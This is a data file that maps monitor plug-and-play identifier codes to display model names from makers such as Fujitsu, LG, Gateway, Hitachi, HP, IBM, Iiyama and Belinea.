FUJ6210=Fujitsu FMVDP97X5(G)/FMVDP97X6
FUJ6410=Fujitsu FMVDP97X9(G),W2G,9713
FUJ6510=Fujitsu FMVDP97W3G
FUJ7110=Fujitsu FMV-DP84X2
FUJ7111=Fujitsu VL-17WDX1G
FUJ7210=Fujitsu FMV-DP84X3(G)
FUJ7410=Fujitsu FMVDP84X5G,X6G,848
FUJ7610=Fujitsu FMVDP84X7G
FUJ7710=Fujitsu FMVDP84X8G
FUJ8111=Fujitsu VL-15TX1(G)
FUJ8301=Fujitsu VL-1400TS
FUJ8401=Fujitsu VL-2100T
FUJ8501=Fujitsu VL-1400SS
FUJ8911=Fujitsu VL-15DX4G
FUJ8A11=Fujitsu VL-15DX5G
FUJ9111=Fujitsu VL-14TX1
FUJ9201=Fujitsu FMV-DP993
FUJ9301=Fujitsu FMV-DP994
FUJA201=Fujitsu FMV-DP97Y1
FUJA301=Fujitsu FMV-DP97Y2
FUJA401=Fujitsu FMV-DP97Y3
FUJA501=Fujitsu FMV-DP97Y4
FUJA601=Fujitsu FMV-DP97Y5
FUJA701=Fujitsu FMV-DP97Y6
FUJA801=Fujitsu FMV-DP97X1
FUJA901=Fujitsu FMV-DP97X2
FUJAA01=Fujitsu FMV-DP97X3
FUJB201=Fujitsu FMV-DP84Y1
FUJB301=Fujitsu FMV-DP84Y2
FUJB401=Fujitsu FMV-DP84Y3
FUJB601=Fujitsu FMV-DP84Y4
FUJB701=Fujitsu FMV-DP84Y5
FUJB801=Fujitsu FMV-DP84X1
FUS0010=Fujitsu Siemens 21P3
FUS0030=Fujitsu Siemens C381FA
FUS0031=Fujitsu Siemens C382FA
FUS0040=Fujitsu Siemens 4311 FA
FUS0060=Fujitsu Siemens 3814 FA
FUS0072=Fujitsu Siemens 96 kHz Monitor
FUS0080=Fujitsu Siemens 3851 FA
FUS0100=Fujitsu Siemens 17P3
FUS0110=Fujitsu Siemens 461V FA
FUS0130=Fujitsu Siemens 176V
FUS0150=Fujitsu Siemens 19P2
FUS0160=Fujitsu Siemens 17F1
FUS0170=Fujitsu Siemens 151E
FUS0180=Fujitsu Siemens C778
FUS0200=Fujitsu Siemens C994
FUS0210=Fujitsu Siemens C779
FUS0230=Fujitsu Siemens C771F
FUS0280=Fujitsu Siemens 3815FA
FUS0290=Fujitsu Siemens 21T3
FUS0370=Fujitsu Siemens Scaleo C994
FUS0390=Fujitsu Siemens 19T3
FUS0418=Fujitsu Siemens C996F
FUS0422=Fujitsu Siemens 383V FA
FUS0441=Fujitsu Siemens C700-4
GSM36B1=LG HiSync 14S
GSM36B4=LG StudioWorks 44m
GSM36B9=LG StudioWorks 44i
GSM36BB=LG StudioWorks 45i
GSM3AA0=LG 1505s
GSM3AA1=LG HiSync 15S
GSM3AA2=LG StudioWorks 56m
GSM3AA5=LG HiSync 15VH
GSM3AA6=LG HiSync 15XH
GSM3AA8=LG StudioWorks 56i
GSM3AAA=LG HiSync 15VN
GSM3AAB=LG HiSync 15SF
GSM3AAC=LG 1537
GSM3AAE=LG 1535
GSM3AAF=LG StudioWorks 56T
GSM3AB1=LG HiSync 15SX
GSM3AB6=LG StudioWorks 5D
GSM3ABD=LG StudioWorks 55i
GSM3ABF=LG HiSync 15XG
GSM3AC0=LG IBM 1565A
GSM3AC3=LG HiSync 15XL
GSM3AC4=LG 1554
GSM3AC5=LG 1565
GSM3AC6=LG 1565G
GSM3AC7=LG IBM 1569
GSM3AC8=LG IBM 1569G
GSM3AC9=LG IBM 15BG
GSM3AF2=LG StudioWorks/FLATRON LCD 570LE
GSM3AF3=LG StudioWorks/FLATRON LCD 570LS
GSM3AFE=LG StudioWorks 560N
GSM3B02=LG FLATRON LCD 575LE
GSM3B03=LG FLATRON LCD 575LM
GSM3B06=LG FLATRON LCD 575MS
GSM3B07=LG FLATRON LCD 575MM
GSM3B08=LG FLATRON LCD 576LU
GSM3B09=LG FLATRON LCD 577LH
GSM3B0A=LG FLATRON LCD 577LM
GSM3B1A=LG StudioWorks/FLATRON LCD 560LS
GSM3B1B=LG StudioWorks 563N
GSM3B25=LG FLATRON LCD 563LS
GSM3E81=LG FLATRON LCD 680LE
GSM426A=LG HiSync 17S
GSM426C=LG StudioWorks 78i
GSM426D=LG StudioWorks 78T
GSM426E=LG StudioWorks 76i
GSM4270=LG HiSync 17XR
GSM4271=LG HiSync 17XH
GSM4272=LG HiSync 17SH
GSM4273=LG StudioWorks 76m
GSM4274=LG StudioWorks 78m
GSM4276=LG HiSync 17SF
GSM4277=LG StudioWorks 74m
GSM4278=LG StudioWorks 74i
GSM4279=LG HiSync 17SX
GSM427A=LG HiSync D17XR
GSM427E=LG StudioWorks 7D
GSM427F=LG StudioWorks 78D
GSM4280=LG StudioWorks 78DT
GSM4281=LG StudioWorks 7DT
GSM4284=LG StudioWorks 76T
GSM428B=LG HiSync T17XR
GSM428C=LG IBM 1765A
GSM428D=LG HiSync 17XL
GSM4290=LG HiSync DT17XR
GSM4291=LG HiSync T17XL
GSM4295=LG HiSync 17XA
GSM4298=LG 78FT
GSM42B9=LG HiSync 775N
GSM42CF=LG 1725s
GSM42D1=LG FLATRON 775FT
GSM42DB=LG FLATRON 774FT
GSM42DC=LG FLATRON 795FT
GSM42DD=LG FLATRON 795FT PLUS/SUPER
GSM42F9=LG StudioWorks/Hisync 795E
GSM4367=LG FLATRON ez T710PH
GSM4368=LG FLATRON ez T710P
GSM437A=LG FLATRON ez T710PU
GSM43CA=LG FLATRON ez T730PU plus
GSM43D5=LG FLATRON ez T730PU
GSM43E2=LG FLATRON ez T730PH
GSM4653=LG FLATRON LCD 885LE
GSM4A39=LG HiSync T19XP
GSM4A4C=LG StudioWorks 995E
GSM4A55=LG StudioWorks 995SU
GSM4A6C=LG FLATRON ez T910BU
GSM4A6D=LG FLATRON ez T910B
GSM4E21=LG StudioWorks 20i
GSM4E22=LG 2010i
GSM4E23=LG HiSync 20VRp
GSM4E25=LG 20BMT
GSM5209=LG HiSync 21XR
GSM5215=LG HiSync/StudioWorks 291U
GWY0013=Gateway CM751
GWY0015=Gateway CM803
GWY0089=Gateway DL31-1
GWY00C0=Gateway VX900T
GWY02D0=Gateway VX720
GWY02DA=Gateway VX720
GWY031B=Gateway EVF720
GWY0398=Gateway VX920
GWY03A2=Gateway VX920
GWY044C=Gateway Vivitron 1100
GWY044D=Gateway VX700
GWY0454=Gateway VX1100
GWY045B=Gateway VX1110
GWY0460=Gateway VX1120
GWY046A=Gateway VX1120
GWY05DC=Gateway FPD1500
GWY060E=Gateway PFL2-15A
GWY0622=Gateway FPD1570
GWY0708=Gateway FPD1800
GWY07D0=Gateway AN1_15
GWY0A8D=Gateway Destination DL27
GWY0E11=Gateway Destination DL36
GWY0F04=Gateway CrystalScan 500
GWY138A=Gateway EV500
GWY138F=Gateway LE500
GWY1390=Gateway EV500B
GWY1392=Gateway LE500
GWY15C7=Gateway EV575
GWY1B5A=Gateway EV700
GWY1B5C=Gateway EV700
GWY1B62=Gateway EV700
GWY1B64=Gateway EV700B
GWY1B65=Gateway EV700
GWY1DEA=Gateway CrystalScan 700
GWY232A=Gateway EV910
GWY232C=Gateway EV910C
GWY7658=Gateway EV700
GWY7659=Gateway EV700-H
GWY8883=Gateway EV900
GWY9095=Gateway VX900
HEI0B42=Hyundai HT-7682B
HEI12E6=Hyundai HL-4838E
HEI12F0=Hyundai Deluxscan 14S
HEI12F2=Hyundai HL-4850B
HEI12F6=Hyundai HL-4854B
HEI12FC=Hyundai HL-4860E
HEI16D8=Hyundai Deluxscan 15B
HEI16E8=Hyundai Deluxscan 15G
HEI16EE=Hyundai DeluxScan 15G+
HEI1D18=Hyundai HN-7448M
HEI1E02=Hyundai Deluxscan 17 Pro
HEI1EB8=Hyundai Deluxscan 17B
HEI1EBE=Hyundai DeluxScan 17B+
HEI1F0C=Hyundai HL-7948M
HEI288B=Hyundai HL-2885B
HEI289B=Hyundai HT-2896B
HEI4848=Hyundai HL-4848
HEI5848=Hyundai HL-5848
HEI585B=Hyundai HL-5854B
HEI5864=Hyundai DeluxScan 15 Pro
HEI58B0=Hyundai HL-5870B
HEI58B1=Hyundai HL-5870BM
HEI768B=Hyundai HT-7682B
HEI769B=Hyundai HT-7695B
HEI777A=Hyundai HL-7770A
HEI777D=Hyundai HL-7770RD
HEI787B=Hyundai HL-7870B
HEI78A0=Hyundai HL-7870AM
HEI78B0=Hyundai HL-7870S
HEIB81E=Hyundai DeluxScan 17
HIT1717=Hitachi Accuvue GX17L
HIT1727=Hitachi HM1764
HIT1827=Hitachi HM1782
HIT2147=Hitachi HM4721
HIT2149=Hitachi HM4921
HIT3421=Hitachi HM1764
HIT4020=Hitachi HM4020
HIT4021=Hitachi HM4021
HIT4711=Hitachi Accuvue UX4721
HIT4810=Hitachi Accuvue GX20
HIT4811=Hitachi Accuvue GX21
HIT4820=Hitachi HM4820
HIT4821=Hitachi HM4821
HIT4830=Hitachi Accuvue GX20H
HIT4911=Hitachi Accuvue UX4921
HIT6421=Hitachi HM6421
HIT6811=Hitachi Accuvue UX6821
HIT6821=Hitachi HM6821
HSL012C=Hansol 400F
HSL01F4=Hansol 500F
HSL0515=Hansol 400F
HSL0579=Hansol Mazellan14px
HSL057A=Hansol Mazellan14ax
HSL057B=Hansol Mazellan401A
HSL057C=Hansol Mazellan_400P
HSL05DD=Hansol Mazellan15ax
HSL05DE=Hansol Mazellan500P
HSL05DF=Hansol Mazellan501P
HSL05E0=Hansol Mazellan_500A
HSL06A5=Hansol Mazellan17px
HSL06A6=Hansol Mazellan17ax
HSL06A7=Hansol Mazellan701A
HSL06A8=Hansol Mazellan701P
HSL06AA=Hansol 710E/710A/710Aplus
HSL06AB=Hansol 710P/710D
HSL06AC=Hansol 705D
HSL06AE=Hansol 720A
HSL06AF=Hansol 720P
HSL076D=Hansol Mazellan900P
HSL076E=Hansol 910A
HSL076F=Hansol 920eF
HSL0770=Hansol 920D
HSL0835=Hansol 2100P
HSL0836=Hansol 2100A
HSL510A=Hansol 510A
HSL510F=Hansol 510F
HSLA605=Hansol Electronics Mazellan17px
HTC0505=Hitachi CH1786M
HTC7E5D=Hitachi CH1711M
HTC7E61=Hitachi CH2111M
HTC7E62=Hitachi CH2112M
HTCAB6F=Hitachi CM-1711M
HTCABC2=Hitachi CM-2112M
HTCABC7=Hitachi CM-2111M
HTCABCC=Hitachi CM-2110M
HTCABE0=Hitachi CM802
HTCABE2=Hitachi CM801
HTCABE3=Hitachi CM800
HTCABEA=Hitachi CM803
HTCABF4=Hitachi CM701
HTCAC13=Hitachi CM751
HTCAC15=Hitachi CM752
HTCAC22=Hitachi CM753
HTCAC46=Hitachi CM811
HTCAC47=Hitachi CM812
HTCAC48=Hitachi CM813
HTCAC49=Hitachi CM814
HTCAFC8=Hitachi CM500
HTCAFCE=Hitachi CM500E
HTCAFD2=Hitachi CM600
HTCAFD7=Hitachi CM611
HTCAFDD=Hitachi CM620
HTCAFE2=Hitachi CM630
HTCAFEC=Hitachi CM641
HTCAFFA=Hitachi CM640ET/CM640U
HTCB800=Hitachi PC-DC1551SP
HTCB801=Hitachi PC-DC1570
HTCB802=Hitachi PC-DC1570SP
HTCB803=Hitachi PC-DC3610
HTCB804=Hitachi PC-DC1552
HTCB805=Hitachi PC-DC1571
HTCB806=Hitachi PC-DC3620
HTCB808=Hitachi PC-DC1590
HTCB812=Hitachi PC-DT3131
HWP03A2=hp P930 Color Monitor
HWP0502=hp pavilion mx50
HWP0503=hp pavilion mx70
HWP0504=hp pavilion mx90
HWP0546=hp pavilion v90
HWP05DB=hp pavilion mx75
HWP0721=hp 1825 Flat Panel Monitor
HWP0AF0=HP D2800A Ultra VGA 1600 21-inch Display
HWP0AF6=HP D2806A Ergo Ultra VGA 15-inch Display
HWP0AFF=HP D1815A 1024 Low Emissions 14-inch Display
HWP0B0A=HP D2826 15-inch Display
HWP0B0C=HP D2828 HP 52 15-inch Monitor
HWP0B10=HP D2832A
HWP0B13=HP D2835 Ultra VGA 1280 17-inch Display
HWP0B16=HP D2838 M700 17-inch Display
HWP0B18=HP D2840 Ergo 1280 17-inch Display
HWP0B1A=HP D2842A
HWP0B1D=HP D2845 Ergo 1600 21-inch Display
HWP0B1F=HP D2847 P1110 21-inch Monitor
HWP0B75=hp pavilion fx75 (Analog)
HWP0B76=hp pavilion fx75 (Digital)
HWP0F11=HP D3857A Multi Media 15-inch Display
HWP0F12=HP D3858A Multi Media 14-inch Display
HWP0F3D=hp pavilion fx50
HWP0F3E=hp pavilion v70s
HWP12D3=hp p1130 Color Monitor
HWP13C5=HP D5061 L1500 15-inch LCD Monitor
HWP13C6=HP L1510
HWP13C9=HP D5065 L1800 18.1-inch LCD Monitor
HWP13CD=HP L1810
HWP144A=hp 2025 Flat Panel Monitor
HWP144B=hp 2025 Flat Panel Monitor
HWP148A=hp pavilion v50
HWP148B=hp pavilion v70
HWP1C31=HP A7217A
HWP22BC=HP D8907 p720
HWP22BE=HP D8894 HP 55 15-inch Monitor
HWP22BF=HP D8895 HP 55 15-inch Monitor
HWP22C0=HP D8896 HP 55 15-inch Monitor
HWP22C1=HP D8897 HP 55 15-inch Monitor
HWP22C2=HP D8898 HP 55 TCO95 15-inch Monitor
HWP22C4=HP D8900 HP 75 17-inch Monitor
HWP22C5=HP D8901 HP 71 17-inch Monitor
HWP22C6=HP D8902 HP 71 17-inch Monitor
HWP22C7=HP D8903 HP 71 17-inch Monitor
HWP22C8=HP D8904
HWP22C9=HP D8905
HWP22CA=HP D8906A
HWP22CE=HP D8910 HP P910 19-inch Monitor
HWP22CF=HP D8911 HP 91 19-inch Monitor
HWP22D3=HP D8915 HP P1120 21-inch Monitor
HWP259A=hp L1925 flat panel monitor
HWP2609=hp f1723 flat panel monitor
HWP2612=hp L2035 flat panel monitor
HWP2613=hp L2035 flat panel monitor
HWP2617=hp p1230 color monitor
HWP2630=hp f1904 flat panel monitor
HWP2631=hp f1904 flat panel monitor
HWPC322=HP D8899 hp54
IBM0844=IBM 2116 MM55 Multimedia
IBM0850=IBM 2128 MM75 Multimedia
IBM08BB=IBM 2235 C50 
IBM08BD=IBM 2237 C71 
IBM0A2E=IBM ThinkPad 640x480 TFT LCD panel
IBM0A41=IBM ThinkPad 640x480 DSTN/HPA LCD panel
IBM0A4B=IBM ThinkPad 800x600 TFT LCD panel
IBM0A50=IBM ThinkPad 800x600 DSTN/HPA LCD panel
IBM0A55=IBM ThinkPad 1024x768 TFT LCD panel
IBM198C=IBM 6540 G42 
IBM198D=IBM 6541 G51 
IBM198E=IBM G41
IBM198F=IBM G50
IBM1990=IBM G70
IBM1991=IBM G200
IBM1992=IBM 6546
IBM1993=IBM 6547
IBM1995=IBM 6549 G94 
IBM1999=IBM P50
IBM199A=IBM P70
IBM199B=IBM P200
IBM199C=IBM 6556 P72 
IBM199D=IBM 6557 P92 
IBM199E=IBM 6558 P202 
IBM19ED=IBM T710 17" TFT Monitor
IBM1BB7=IBM 7095
IBM1BB9=IBM 7097
IBM2112=IBM 2112
IBM2113=IBM 2113
IBM2114=IBM 2114
IBM2115=IBM 2115
IBM2117=IBM 2117
IBM2215=IBM 2215
IBM2221=IBM 2122
IBM2236=IBM 2236
IBM2238=IBM 2238
IBM2248=IBM 2248
IBM2264=IBM 2264
IBM2421=IBM 2124
IBM2529=IBM 9513 T55A TFT Monitor 
IBM252A=IBM 9514-B TFT Panel 
IBM2535=IBM 9525-0X1
IBM254A=IBM ThinkPad 1024x768 DSTN/HPA LCD panel
IBM254C=IBM ThinkPad 1280x1024 TFT LCD panel
IBM254D=IBM ThinkPad 1400x1050 LCD panel
IBM2621=IBM 2126
IBM26AC=IBM Aptiva 9900
IBM2721=IBM 2127
IBM27AD=IBM Aptiva 9901
IBM3121=IBM 2131
IBM3221=IBM 2132
IBM6312=IBM 6312
IBM6314=IBM 6314
IBM6315=IBM 6315
IBM6317=IBM 6317
IBM6319=IBM 6319
IBM6321=IBM 6321
IBM6322=IBM 6322
IBM6324=IBM 6324
IBM6325=IBM 6325
IBM6327=IBM 6327
IBM7234=IBM 2122-xxL
IBM7254=IBM 2124-xxL
IBM8504=IBM 8504
IBM8511=IBM 8511
IBM8512=IBM 8512
IBM8513=IBM 8513
IBM8514=IBM 8514
IBM8515=IBM 8515
IBM8517=IBM 8517
IBM8518=IBM 8518
IBM9504=IBM 9504
IBM9515=IBM 9515
IBM9517=IBM 9517
IBM9518=IBM 9518
IBM9521=IBM 9521
IBM9524=IBM 9524
IBM9525=IBM 9525
IBM9527=IBM 9527
ICL0100=Fujitsu ICL ErgoPro 211v
ICL0200=Fujitsu ICL ErgoPro 171p
ICL0400=Fujitsu ICL ErgoPro 171v
ICL0700=Fujitsu ICL ErgoPro 151p
ICL0800=Fujitsu ICL ErgoPro 151p AutoBrite
ICL0A00=Fujitsu ICL ErgoPro 151v
ICL0B00=Fujitsu ICL ErgoPro 141v
ICL0D00=Fujitsu ICL ErgoPro 141p
ICL0F00=Fujitsu ICL ErgoPro 152v
ICL1400=Fujitsu ICL ErgoPro 142v
ICL1600=Fujitsu ICL ErgoPro e153
ICL1700=Fujitsu ICL ErgoPro e212
ICL1800=Fujitsu ICL ErgoPro e172
ICL1900=Fujitsu ICL ErgoPro x173
ICL1A00=Fujitsu ICL ErgoPro x173a
ICL1B00=Fujitsu ICL ErgoPro e142
ICL1C00=Fujitsu ICL ErgoPro x152
ICL1D00=Fujitsu ICL ErgoPro e173
ICL1F00=FUJITSU ErgoPro x140f
ICL2100=Fujitsu ErgoPro x153
ICL2200=Fujitsu ErgoPro e154
ICL2300=Fujitsu ErgoPro e174
ICL2400=Fujitsu ErgoPro x174
ICL2500=FUJITSU e175
ICL2700=FUJITSU e213
ICL2800=Fujitsu x191
ICL2900=Fujitsu x154
ICL2A00=Fujitsu e176
IOD0118=I-O DATA LCD-A18H
IOD0214=I-O DATA LCD-A141H
IOD0314=I-O DATA LCD-DV141H
IOD0415=I-O DATA LCD-A15H
IOD0515=I-O DATA LCD-DV15H
IVM0800=MF-8615F,8515EII,8515F
IVM0815=Iiyama S500M1
IVM13F0=Iiyama LP-1013
IVM1501=Iiyama MF-8515G VisionMaster
IVM1700=Iiyama Vision Master MF-8617E
IVM1701=Iiyama MF-8617ES VisionMaster
IVM1702=Iiyama S701GT VisionMaster 400
IVM1703=Iiyama S702GT VisionMaster 400
IVM1711=Iiyama A701GT VisionMasterPro 400
IVM1730=Iiyama MT-9017E/T VisionMasterPro
IVM1740=Iiyama A702HT VisionMaster Pro 410
IVM1742=Iiyama S703HT VisionMaster 403
IVM1744=Iiyama S704HT VisionMaster 404
IVM1748=Iiyama S705MT VisionMaster 405
IVM174A=Iiyama A705MT VisionMaster Pro 411 /i70A
IVM17A8=Iiyama S700JT1
IVM1900=Iiyama S901GT
IVM1901=Iiyama A901HT
IVM1910=Iiyama S902JT VisionMaster Pro 451
IVM1918=Iiyama A902MT VisionMaster Pro 451
IVM1920=Iiyama MF901U VisionMaster 452
IVM1928=Iiyama MA901U VisionMaster Pro 452
IVM1938=Iiyama LS902UT VisionMaster 1451
IVM2100=Iiyama MF-8221E/T VisionMaster
IVM2101=Iiyama MF-8721E VisionMaster
IVM2102=Iiyama MT-9221 VisionMasterPro
IVM2110=Iiyama S101GT VisionMaster 501
IVM2118=Iiyama A101GT VisionMasterPro 501
IVM2120=Iiyama S102GT
IVM2128=Iiyama A102GT
IVM2130=Iiyama MT-9021E/T VisionMasterPro
IVM2138=Iiyama S103MT VisionMaster 503
IVM2140=Iiyama A201HT VisionMaster Pro 510
IVM2148=Iiyama S104MT VisionMaster 504
IVM3601=Iiyama TXA3601GT
IVM3602=Iiyama TXA3602GT Prolite36
IVM3604=Iiyama TXA3611/3621HT Prolite36
IVM3606=Iiyama TXA3612JT Prolite36c
IVM3801=Iiyama TXA3811/3821HT Prolite38
IVM3808=Iiyama TXA3832HT Prolite38c
IVM3810=Iiyama TXA3812JT/3822JT Prolite38e/38f
IVM3818=Iiyama TXA3833JT Prolite38g
IVM3820=Iiyama TXA3813/3823MT
IVM386C=IIYAMA ProLite E380S/T
IVM3900=Iiyama TSA3931HT Prolite39
IVM3908=Iiyama AS3921U
IVM4600=Iiyama TSA4632HT Prolite46
IVM4610=Iiyama TSA4633JT Prolite46b
IVM4618=Iiyama TSA4634JT
IVM4620=Iiyama AS4635U 
IVM46AC=IIYAMA ProLite E431S
JEN00C7=Fujitsu C991
KDS05AC=Korea Data Systems Visual Sensation VS-4(KD-1452)
KDS05AF=Korea Data Systems Visual Sensation VS-4D
KDS05E6=Korea Data Systems Visual Sensation VS-5/VS-51/VSx-5
KDS05F5=Korea Data Systems Visual Sensation VS-55
KDS06C2=Korea Data Systems Visual Sensation VS-7/VSx-7
KDS06D6=Korea Data Systems Visual Sensation VS-9
KDS07D0=Korea Data Systems Visual Sensation VS-19
KDS0834=Korea Data Systems Visual Sensation VS-21
KDS1540=Korea Data Systems Avitron AV-5T
KDS1542=Korea Data Systems Visual Sensations VS-5e
KDS1740=Korea Data Systems Avitron AV-7T
KDS1742=Korea Data Systems Visual Sensations VS-7e
KDS1745=Korea Data Systems Visual Sensations VS-7i
KDS1746=Korea Data Systems Avitron AV-7TF
KDS1760=Korea Data Systems Visual Sensations VS-8i
KDS1780=Korea Data Systems Avitron AV-9T
KDS1781=Korea Data Systems Visual Sensations VS-9e
KDS1783=Korea Data Systems Avitron AV-9TF
KDS1980=Korea Data Systems Visual Sensation VS-195
KDS1981=Korea Data Systems Visual Sensation VS-19SN
KDS1982=Korea Data Systems Avitron AV-195T
KDS1983=Korea Data Systems Visual Sensations VS-195e
KDS1985=Korea Data Systems Visual Sensations VS-190i
KDS1986=Korea Data Systems Visual Sensations VS-195i
KDS19A0=Korea Data Systems Avitron AV-195TF
KDS21C0=Korea Data Systems Visual Sensations VS-21e
KDS21C1=Korea Data Systems Avitron AV-21TF
LFT1772=LIFETEC LT1772ie
LKM0080=Likom L4011
LKM1100=Likom C5091
LKM1200=Likom L5011
LKM1280=Likom L503X
LKM3280=Likom L703X
LKM3980=Likom K703X
LKM5980=Likom K903X
MAG4577=MAG D410
MAG5620=MAG DX-1595
MAG5621=MAG DX1595N
MAG5624=MAG DX-15T
MAG5775=MAG DJ530
MAG5776=MAG XJ530
MAG5779=MAG XJ500T
MAG5781=MAG DX500T
MAG5801=MAG XJ500
MAG7626=MAG DX-1795
MAG7740=MAG DX-700T
MAG7752=MAG DJ707
MAG7771=MAG XJ700
MAG7772=MAG XJ707
MAG7780=MAG XJ700T
MAG7842=MAG DX715T
MAG7854=MAG DJ717
MAG7874=MAG XJ717
MAG8997=MAG XJ810
MAX0582=Belinea 10 14 10
MAX05DD=Belinea 10 15 55 / Art. No. 111501
MAX05DE=Belinea 10 15 56 / Art. No. 111502
MAX05DF=Belinea 10 15 55 / Art. No. 111503
MAX05E0=Belinea 10 15 36 / Art. No. 111504
MAX05E1=Belinea 10 15 51 / Art. No. 111505
MAX05E3=Belinea 10 15 75 / Art. No. 111507
MAX05E4=Belinea 10 15 36 / Art. No. 111508
MAX05E5=Belinea 10 15 55 / Art. No. 111509
MAX05E6=Belinea 10 15 10
MAX05E8=Belinea 10 15 80 / Art. No. 111512
MAX05E9=Belinea 10 15 36 / Art. No. 111513
MAX05EA=Belinea 10 15 36 / Art. No. 111514
MAX05EB=Belinea 10 15 15
MAX05EC=Belinea 10 15 55 / Art. No. 111516
MAX05F0=Belinea 10 15 20
MAX05F5=Belinea 10 15 25
MAX05FA=Belinea 10 15 30
MAX05FF=Belinea 10 15 35
MAX0600=Belinea 10 15 36 / Art. No. 101536
MAX0601=Belinea 10 15 37 / Art. No. 101537
MAX0604=Belinea 10 15 40
MAX0609=Belinea 10 15 45
MAX060E=Belinea 10 15 50
MAX0613=Belinea 10 15 55 / Art. No. 101555
MAX0614=Belinea 10 15 56 / Art. No. 101556
MAX0618=Belinea 10 15 60
MAX0622=Belinea 10 15 70
MAX06A5=Belinea 10 30 26 / Art. No. 121701
MAX06A6=Belinea 10 30 85 / Art. No. 121702
MAX06A7=Belinea 10 17 30 / Art. No. 111703
MAX06A8=Belinea 10 30 51 / Art. No. 121704
MAX06A9=Belinea 10 30 22 Black / Art. No. 121705
MAX06AA=Belinea 10 17 15 / Art. No. 111706
MAX06AB=Belinea 10 17 25 / Art. No. 111707
MAX06AC=Belinea 10 17 50 / Art. No. 111708
MAX06AD=Belinea 10 17 51 / Art. No. 111709
MAX06AE=Belinea 10 17 10 / Art. No. 101710
MAX06AF=Belinea 10 17 30 / Art. No. 111711
MAX06B0=Belinea 10 30 55 / Art. No. 121712
MAX06B1=Belinea 10 30 26 / Art. No. 121713
MAX06B2=Belinea 10 17 35 / Art. No. 111714
MAX06B3=Belinea 10 17 15 / Art. No. 111715
MAX06B4=Belinea 10 17 30 / Art. No. 111716
MAX06B5=Belinea 10 17 15 / Art. No. 111717
MAX06B6=Belinea 10 17 05 / Art. No. 111718
MAX06B7=Belinea 10 17 25 / Art. No. 111719
MAX06B8=Belinea 10 17 20
MAX06B9=Belinea 10 30 52 / Art. No. 121721
MAX06BA=Belinea 10 17 10 / Art. No. 111722
MAX06BB=Belinea 10 17 05 / Art. No. 111723
MAX06BC=Belinea 10 17 11 / Art. No. 111724
MAX06BE=Belinea 10 30 75 / Art. No. 121726
MAX06BF=Belinea 10 17 25 / Art. No. 111727
MAX06C0=Belinea 10 17 10 / Art. No. 111728
MAX06C1=Belinea 10 30 26 / Art. No. 121729
MAX06C2=Belinea 10 17 30 / Art. No. 101730
MAX06C3=Belinea 10 17 30 / Art. No. 111731
MAX06C4=Belinea 10 17 50 / Art. No. 111732
MAX06C5=Belinea 10 17 51 / Art. No. 111733
MAX06C6=Belinea 10 17 35 / Art. No. 111734
MAX06C9=Belinea 10 17 25 / Art. No. 111737
MAX06CA=Belinea 10 17 10 / Art. No. 111738
MAX06CB=Belinea 10 17 50 / Art. No. 111739
MAX06CC=Belinea 10 17 40
MAX06CD=Belinea 10 17 41
MAX06CE=Belinea 10 17 51 / Art. No. 111742
MAX06CF=Belinea 10 17 11 / Art. No. 111743
MAX06D0=Belinea 10 17 30 / Art. No. 111744
MAX06D1=Belinea 10 17 35 / Art. No. 111745
MAX06D2=Belinea 10 17 15 / Art. No. 111746
MAX06D3=Belinea 10 17 20 / Art. No. 111747
MAX06D5=Belinea 10 17 35 / Art. No. 111749
MAX06D6=Belinea 10 17 11 / Art. No. 111750
MAX06D7=Belinea 10 17 25 / Art. No. 111751
MAX0712=Belinea 10 18 10
MAX0716=Belinea 10 18 20
MAX0726=Belinea 10 18 30
MAX076D=Belinea 10 60 55 / Art. No. 121901
MAX076E=Belinea 10 19 20 / Art. No. 111902
MAX076F=Belinea 10 60 75 / Art. No. 121903
MAX0772=Belinea 10 19 06 / Art. No. 111906
MAX0774=Belinea 10 19 10 / Art. No. 111908
MAX0775=Belinea 10 19 05 / Art. No. 111909
MAX0776=Belinea 10 19 10 / Art. No. 101910
MAX0777=Belinea 10 60 55 / Art. No. 121911
MAX0778=Belinea 10 19 20 / Art. No. 111912
MAX077A=Belinea 10 19 01 / Art. No. 111914
MAX077B=Belinea 10 19 15 / Art. No. 111915
MAX077C=Belinea 10 19 02 / Art. No. 111916
MAX077E=Belinea 10 19 11 / Art. No. 111918
MAX077F=Belinea 10 19 20 / Art. No. 111919
MAX0781=Belinea 10 19 15 / Art. No. 111921
MAX0782=Belinea 10 19 01 / Art. No. 111922
MAX0783=Belinea 10 19 02 / Art. No. 111923
MAX0784=Belinea 10 19 25 / Art. No. 111924
MAX0785=Belinea 10 19 27 / Art. No. 111925
MAX0786=Belinea 10 19 30 / Art. No. 111926
MAX0787=Belinea 10 19 35 / Art. No. 111927
MAX0788=Belinea 10 19 03 / Art. No. 111928
MAX0789=Belinea 10 19 10 / Art. No. 111929
MAX07D1=Belinea 10 20 15 / Art. No. 112001
MAX07D2=Belinea 10 20 25 / Art. No. 112002
MAX07D3=Belinea 10 20 05 / Art. No. 112003
MAX07D4=Belinea 10 20 15 / Art. No. 112004
MAX07D5=Belinea 10 20 35 W / Art. No. 112005
MAX07E4=Belinea 10 20 20
MAX07EE=Belinea 10 20 30
MAX07FA=Belinea 10 20 10
MAX0835=Belinea 10 80 30 / Art. No. 122101
MAX0837=Belinea 10 80 35 / Art. No. 122103
MAX0BC2=Belinea 10 30 10
MAX0BC7=Belinea 10 30 15
MAX0BCC=Belinea 10 30 20
MAX0BCE=Belinea 10 30 22 / Art. No. 103022
MAX0BD1=Belinea 10 30 25
MAX0BD2=Belinea 10 30 26 / Art. No. 103026
MAX0BD6=Belinea 10 30 30
MAX0BDB=Belinea 10 30 35
MAX0BE0=Belinea 10 30 40
MAX0BE5=Belinea 10 30 45
MAX0BEA=Belinea 10 30 50
MAX0BEF=Belinea 10 30 55 / Art. No. 103055
MAX0BF4=Belinea 10 30 60
MAX0BF9=Belinea 10 30 65
MAX0BFE=Belinea 10 30 70
MAX0C03=Belinea 10 30 75 / Art. No. 103075
MAX0C08=Belinea 10 30 80
MAX0C0D=Belinea 10 30 85 / Art. No. 103085
MAX0C12=Belinea 10 30 90
MAX0C17=Belinea 10 30 95
MAX0FAA=Belinea 10 40 10
MAX0FC8=Belinea 10 40 40
MAX0FCD=Belinea 10 40 45
MAX0FE1=Belinea 10 40 65
MAX13A6=Belinea 10 50 30
MAX13AB=Belinea 10 50 35
MAX13B5=Belinea 10 50 45
MAX13B6=Belinea 10 50 46
MAX13BA=Belinea 10 50 50
MAX13D3=Belinea 10 50 75
MAX13D4=Belinea 10 50 76
MAX13D8=Belinea 10 50 80
MAX15AE=Belinea 10 55 50
MAX15C2=Belinea 10 55 70
MAX15C7=Belinea 10 55 75
MAX15C8=Belinea 10 55 76
